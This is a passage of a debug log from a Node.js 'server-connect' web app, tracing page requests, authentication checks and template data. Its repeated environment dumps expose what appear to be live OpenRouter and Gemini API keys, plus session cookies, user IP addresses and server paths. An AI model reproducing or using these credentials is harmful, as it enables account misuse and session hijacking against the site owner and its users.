    'user-agent': 'Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/146.0.0.0 Mobile Safari/537.36',
    accept: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'service-worker-navigation-preload': 'true',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'navigate',
    'sec-fetch-user': '?1',
    'sec-fetch-dest': 'document',
    referer: 'https://ems.sanjaychaurasia.xyz/login',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'if-none-match': 'W/"10139-Swi8VQVdCWATuD2DH/CVxjJhyck"',
    priority: 'u=0, i',
    cookie: 'security.auth=s%3A%2FBbLtVTdsKPXEVAx3jsMbg%3D%3D.NpTj%2BWDnYZQs2G%2BhNGjYQOBsI%2FebZ2mXa3OqMWcDSmUAa17Jacn1%2BTQd7foHJSsxUQkodLKxHD%2BWBkBzxyg8nWkqTZwDH3ILxxQRpBzSpnUJQsLBqIaHmMdjE8SFoFA9Diytp7eEfc%2BAx8eMOskOvCiH%2FqRHuTWq%2BaMr%2BvWtDsI%3D.0jUUQS3MIQz9q5dqlXuMxuccP23Q6JhpOYUx4EYj%2BP4; your_r_git.sid=s%3A_DqD8DhM2lVEL_pTYHEUAk1FeVbMBZja.CW4BTxdMaeSD8OszT%2FdG9a2rxyGrFZNyJ%2B6yWy%2BZJuw',
    'x-forwarded-for': '2405:201:5c04:610c:ed48:6666:2fd2:d2a5',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-04-08T16:28:05.613Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '2405:201:5c04:610c:ed48:6666:2fd2:d2a5',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_SEC_CH-UA': '"Chromium";v="146", "Not-A.Brand";v="24", "Google Chrome";v="146"',
    'HTTP_SEC_CH-UA-MOBILE': '?1',
    'HTTP_SEC_CH-UA-PLATFORM': '"Android"',
    'HTTP_UPGRADE_INSECURE-REQUESTS': '1',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/146.0.0.0 Mobile Safari/537.36',
    HTTP_ACCEPT: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'HTTP_SERVICE_WORKER-NAVIGATION-PRELOAD': 'true',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'navigate',
    'HTTP_SEC_FETCH-USER': '?1',
    'HTTP_SEC_FETCH-DEST': 'document',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/login',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'HTTP_IF_NONE-MATCH': 'W/"10139-Swi8VQVdCWATuD2DH/CVxjJhyck"',
    HTTP_PRIORITY: 'u=0, i',
    HTTP_COOKIE: 'security.auth=s%3A%2FBbLtVTdsKPXEVAx3jsMbg%3D%3D.NpTj%2BWDnYZQs2G%2BhNGjYQOBsI%2FebZ2mXa3OqMWcDSmUAa17Jacn1%2BTQd7foHJSsxUQkodLKxHD%2BWBkBzxyg8nWkqTZwDH3ILxxQRpBzSpnUJQsLBqIaHmMdjE8SFoFA9Diytp7eEfc%2BAx8eMOskOvCiH%2FqRHuTWq%2BaMr%2BvWtDsI%3D.0jUUQS3MIQz9q5dqlXuMxuccP23Q6JhpOYUx4EYj%2BP4; your_r_git.sid=s%3A_DqD8DhM2lVEL_pTYHEUAk1FeVbMBZja.CW4BTxdMaeSD8OszT%2FdG9a2rxyGrFZNyJ%2B6yWy%2BZJuw',
    'HTTP_X_FORWARDED-FOR': '2405:201:5c04:610c:ed48:6666:2fd2:d2a5',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1,
  content: '/index'
}
2026-04-07T16:29:07.167Z server-connect:router Serving templateView /
2026-04-07T16:29:07.168Z server-connect:router Serving templateView /
2026-04-07T16:29:07.168Z server-connect:app Executing action step identify
2026-04-07T16:29:07.168Z server-connect:app options: { provider: 'security' }
2026-04-07T16:29:07.168Z server-connect:output identity: 1
2026-04-07T16:29:07.168Z server-connect:app Executing action step restrict
2026-04-07T16:29:07.168Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-04-07T16:29:07.169Z server-connect:app Executing action step identify
2026-04-07T16:29:07.169Z server-connect:app options: { provider: 'security' }
2026-04-07T16:29:07.169Z server-connect:output identity: 1
2026-04-07T16:29:07.169Z server-connect:app Executing action step restrict
2026-04-07T16:29:07.169Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-04-07T16:29:07.170Z server-connect:output restrict: undefined
2026-04-07T16:29:07.170Z server-connect:app Executing action step restrict
2026-04-07T16:29:07.170Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-04-07T16:29:07.171Z server-connect:output restrict: undefined
2026-04-07T16:29:07.171Z server-connect:app Executing action step restrict
2026-04-07T16:29:07.171Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-04-07T16:29:07.171Z server-connect:output restrict: undefined
2026-04-07T16:29:07.171Z server-connect:router Render template layouts/main
2026-04-07T16:29:07.172Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'sec-ch-ua': '"Chromium";v="146", "Not-A.Brand";v="24", "Google Chrome";v="146"',
    'sec-ch-ua-mobile': '?1',
    'sec-ch-ua-platform': '"Android"',
    'upgrade-insecure-requests': '1',
    'user-agent': 'Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/146.0.0.0 Mobile Safari/537.36',
    accept: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'service-worker-navigation-preload': 'true',
    'sec-fetch-site': 'cross-site',
    'sec-fetch-mode': 'navigate',
    'sec-fetch-user': '?1',
    'sec-fetch-dest': 'document',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    priority: 'u=0, i',
    cookie: 'your_r_git.sid=s%3A_DqD8DhM2lVEL_pTYHEUAk1FeVbMBZja.CW4BTxdMaeSD8OszT%2FdG9a2rxyGrFZNyJ%2B6yWy%2BZJuw',
    'x-forwarded-for': '157.48.251.120',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-04-08T16:28:05.613Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '157.48.251.120',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_SEC_CH-UA': '"Chromium";v="146", "Not-A.Brand";v="24", "Google Chrome";v="146"',
    'HTTP_SEC_CH-UA-MOBILE': '?1',
    'HTTP_SEC_CH-UA-PLATFORM': '"Android"',
    'HTTP_UPGRADE_INSECURE-REQUESTS': '1',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/146.0.0.0 Mobile Safari/537.36',
    HTTP_ACCEPT: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'HTTP_SERVICE_WORKER-NAVIGATION-PRELOAD': 'true',
    'HTTP_SEC_FETCH-SITE': 'cross-site',
    'HTTP_SEC_FETCH-MODE': 'navigate',
    'HTTP_SEC_FETCH-USER': '?1',
    'HTTP_SEC_FETCH-DEST': 'document',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    HTTP_PRIORITY: 'u=0, i',
    HTTP_COOKIE: 'your_r_git.sid=s%3A_DqD8DhM2lVEL_pTYHEUAk1FeVbMBZja.CW4BTxdMaeSD8OszT%2FdG9a2rxyGrFZNyJ%2B6yWy%2BZJuw',
    'HTTP_X_FORWARDED-FOR': '157.48.251.120',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1,
  content: '/index'
}
2026-04-07T16:29:07.176Z server-connect:output restrict: undefined
2026-04-07T16:29:07.177Z server-connect:router Render template layouts/main
2026-04-07T16:29:07.177Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'cache-control': 'max-age=0',
    'sec-ch-ua': '"Chromium";v="146", "Not-A.Brand";v="24", "Google Chrome";v="146"',
    'sec-ch-ua-mobile': '?1',
    'sec-ch-ua-platform': '"Android"',
    'upgrade-insecure-requests': '1',
    'user-agent': 'Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/146.0.0.0 Mobile Safari/537.36',
    accept: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'service-worker-navigation-preload': 'true',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'navigate',
    'sec-fetch-user': '?1',
    'sec-fetch-dest': 'document',
    referer: 'https://ems.sanjaychaurasia.xyz/',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'if-none-match': 'W/"10139-Swi8VQVdCWATuD2DH/CVxjJhyck"',
    priority: 'u=0, i',
    cookie: 'security.auth=s%3A%2FBbLtVTdsKPXEVAx3jsMbg%3D%3D.NpTj%2BWDnYZQs2G%2BhNGjYQOBsI%2FebZ2mXa3OqMWcDSmUAa17Jacn1%2BTQd7foHJSsxUQkodLKxHD%2BWBkBzxyg8nWkqTZwDH3ILxxQRpBzSpnUJQsLBqIaHmMdjE8SFoFA9Diytp7eEfc%2BAx8eMOskOvCiH%2FqRHuTWq%2BaMr%2BvWtDsI%3D.0jUUQS3MIQz9q5dqlXuMxuccP23Q6JhpOYUx4EYj%2BP4; your_r_git.sid=s%3A_DqD8DhM2lVEL_pTYHEUAk1FeVbMBZja.CW4BTxdMaeSD8OszT%2FdG9a2rxyGrFZNyJ%2B6yWy%2BZJuw',
    'x-forwarded-for': '157.48.251.120',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-04-08T16:28:05.613Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '157.48.251.120',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    HTTP_CACHE_CONTROL: 'max-age=0',
    'HTTP_SEC_CH-UA': '"Chromium";v="146", "Not-A.Brand";v="24", "Google Chrome";v="146"',
    'HTTP_SEC_CH-UA-MOBILE': '?1',
    'HTTP_SEC_CH-UA-PLATFORM': '"Android"',
    'HTTP_UPGRADE_INSECURE-REQUESTS': '1',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/146.0.0.0 Mobile Safari/537.36',
    HTTP_ACCEPT: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'HTTP_SERVICE_WORKER-NAVIGATION-PRELOAD': 'true',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'navigate',
    'HTTP_SEC_FETCH-USER': '?1',
    'HTTP_SEC_FETCH-DEST': 'document',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'HTTP_IF_NONE-MATCH': 'W/"10139-Swi8VQVdCWATuD2DH/CVxjJhyck"',
    HTTP_PRIORITY: 'u=0, i',
    HTTP_COOKIE: 'security.auth=s%3A%2FBbLtVTdsKPXEVAx3jsMbg%3D%3D.NpTj%2BWDnYZQs2G%2BhNGjYQOBsI%2FebZ2mXa3OqMWcDSmUAa17Jacn1%2BTQd7foHJSsxUQkodLKxHD%2BWBkBzxyg8nWkqTZwDH3ILxxQRpBzSpnUJQsLBqIaHmMdjE8SFoFA9Diytp7eEfc%2BAx8eMOskOvCiH%2FqRHuTWq%2BaMr%2BvWtDsI%3D.0jUUQS3MIQz9q5dqlXuMxuccP23Q6JhpOYUx4EYj%2BP4; your_r_git.sid=s%3A_DqD8DhM2lVEL_pTYHEUAk1FeVbMBZja.CW4BTxdMaeSD8OszT%2FdG9a2rxyGrFZNyJ%2B6yWy%2BZJuw',
    'HTTP_X_FORWARDED-FOR': '157.48.251.120',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1,
  content: '/index'
}
2026-04-07T16:29:12.110Z server-connect:router Serving templateView /
2026-04-07T16:29:12.111Z server-connect:app Executing action step identify
2026-04-07T16:29:12.111Z server-connect:app options: { provider: 'security' }
2026-04-07T16:29:12.111Z server-connect:output identity: 1
2026-04-07T16:29:12.111Z server-connect:app Executing action step restrict
2026-04-07T16:29:12.111Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-04-07T16:29:12.113Z server-connect:output restrict: undefined
2026-04-07T16:29:12.113Z server-connect:app Executing action step restrict
2026-04-07T16:29:12.113Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-04-07T16:29:12.114Z server-connect:output restrict: undefined
2026-04-07T16:29:12.114Z server-connect:router Render template layouts/main
2026-04-07T16:29:12.114Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'cache-control': 'max-age=0',
    'sec-ch-ua': '"Chromium";v="146", "Not-A.Brand";v="24", "Google Chrome";v="146"',
    'sec-ch-ua-mobile': '?1',
    'sec-ch-ua-platform': '"Android"',
    'upgrade-insecure-requests': '1',
    'user-agent': 'Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/146.0.0.0 Mobile Safari/537.36',
    accept: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'service-worker-navigation-preload': 'true',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'navigate',
    'sec-fetch-user': '?1',
    'sec-fetch-dest': 'document',
    referer: 'https://ems.sanjaychaurasia.xyz/',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'if-none-match': 'W/"10139-Swi8VQVdCWATuD2DH/CVxjJhyck"',
    priority: 'u=0, i',
    cookie: 'security.auth=s%3A%2FBbLtVTdsKPXEVAx3jsMbg%3D%3D.NpTj%2BWDnYZQs2G%2BhNGjYQOBsI%2FebZ2mXa3OqMWcDSmUAa17Jacn1%2BTQd7foHJSsxUQkodLKxHD%2BWBkBzxyg8nWkqTZwDH3ILxxQRpBzSpnUJQsLBqIaHmMdjE8SFoFA9Diytp7eEfc%2BAx8eMOskOvCiH%2FqRHuTWq%2BaMr%2BvWtDsI%3D.0jUUQS3MIQz9q5dqlXuMxuccP23Q6JhpOYUx4EYj%2BP4; your_r_git.sid=s%3A_DqD8DhM2lVEL_pTYHEUAk1FeVbMBZja.CW4BTxdMaeSD8OszT%2FdG9a2rxyGrFZNyJ%2B6yWy%2BZJuw',
    'x-forwarded-for': '157.48.251.120',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-04-08T16:28:05.613Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '157.48.251.120',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    HTTP_CACHE_CONTROL: 'max-age=0',
    'HTTP_SEC_CH-UA': '"Chromium";v="146", "Not-A.Brand";v="24", "Google Chrome";v="146"',
    'HTTP_SEC_CH-UA-MOBILE': '?1',
    'HTTP_SEC_CH-UA-PLATFORM': '"Android"',
    'HTTP_UPGRADE_INSECURE-REQUESTS': '1',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/146.0.0.0 Mobile Safari/537.36',
    HTTP_ACCEPT: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'HTTP_SERVICE_WORKER-NAVIGATION-PRELOAD': 'true',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'navigate',
    'HTTP_SEC_FETCH-USER': '?1',
    'HTTP_SEC_FETCH-DEST': 'document',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'HTTP_IF_NONE-MATCH': 'W/"10139-Swi8VQVdCWATuD2DH/CVxjJhyck"',
    HTTP_PRIORITY: 'u=0, i',
    HTTP_COOKIE: 'security.auth=s%3A%2FBbLtVTdsKPXEVAx3jsMbg%3D%3D.NpTj%2BWDnYZQs2G%2BhNGjYQOBsI%2FebZ2mXa3OqMWcDSmUAa17Jacn1%2BTQd7foHJSsxUQkodLKxHD%2BWBkBzxyg8nWkqTZwDH3ILxxQRpBzSpnUJQsLBqIaHmMdjE8SFoFA9Diytp7eEfc%2BAx8eMOskOvCiH%2FqRHuTWq%2BaMr%2BvWtDsI%3D.0jUUQS3MIQz9q5dqlXuMxuccP23Q6JhpOYUx4EYj%2BP4; your_r_git.sid=s%3A_DqD8DhM2lVEL_pTYHEUAk1FeVbMBZja.CW4BTxdMaeSD8OszT%2FdG9a2rxyGrFZNyJ%2B6yWy%2BZJuw',
    'HTTP_X_FORWARDED-FOR': '157.48.251.120',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1,
  content: '/index'
}
2026-04-07T16:29:12.389Z server-connect:router Serving templateView /diecast-worksheet
2026-04-07T16:29:12.390Z server-connect:app Executing action step identify
2026-04-07T16:29:12.390Z server-connect:app options: { provider: 'security' }
2026-04-07T16:29:12.390Z server-connect:output identity: 1
2026-04-07T16:29:12.391Z server-connect:app Executing action step restrict
2026-04-07T16:29:12.391Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-04-07T16:29:12.391Z server-connect:output restrict: undefined
2026-04-07T16:29:12.392Z server-connect:router Render template layouts/main
2026-04-07T16:29:12.392Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'sec-ch-ua': '"Chromium";v="146", "Not-A.Brand";v="24", "Google Chrome";v="146"',
    'sec-ch-ua-mobile': '?1',
    'sec-ch-ua-platform': '"Android"',
    'upgrade-insecure-requests': '1',
    'user-agent': 'Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/146.0.0.0 Mobile Safari/537.36',
    accept: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'service-worker-navigation-preload': 'true',
    'sec-fetch-site': 'none',
    'sec-fetch-mode': 'navigate',
    'sec-fetch-user': '?1',
    'sec-fetch-dest': 'document',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'if-none-match': 'W/"14f7c-/AI8iZ0ux/Ipif2X2LSIlVLFuG0"',
    priority: 'u=0, i',
